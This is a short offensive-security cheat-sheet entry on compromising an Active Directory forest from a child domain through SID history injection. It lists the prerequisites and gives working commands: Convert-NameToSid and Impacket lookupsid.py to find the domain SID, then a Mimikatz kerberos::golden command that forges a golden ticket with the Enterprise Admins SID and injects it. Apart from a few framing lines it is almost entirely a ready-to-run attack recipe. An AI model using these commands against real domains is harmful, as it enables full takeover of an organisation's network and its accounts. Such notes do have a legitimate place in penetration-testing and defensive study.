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Child Domain to Forest Compromise - SID Hijacking

Most trees are linked with dual sided trust relationships to allow for sharing of resources. By default the first domain created if the Forest Root.

Requirements:

  • KRBTGT Hash

  • Find the SID of the domain

    $ Convert-NameToSid target.domain.com\krbtgt
S-1-5-21-2941561648-383941485-1389968811-502

# with Impacket
lookupsid.py domain/user:password@10.10.10.10

  • Replace 502 with 519 to represent Enterprise Admins

Exploitation:

  • Create golden ticket and attack parent domain.

    kerberos::golden /user:Administrator /krbtgt:HASH_KRBTGT /domain:domain.local /sid:S-1-5-21-2941561648-383941485-1389968811 /sids:S-1-5-SID-SECOND-DOMAIN-519 /ptt

References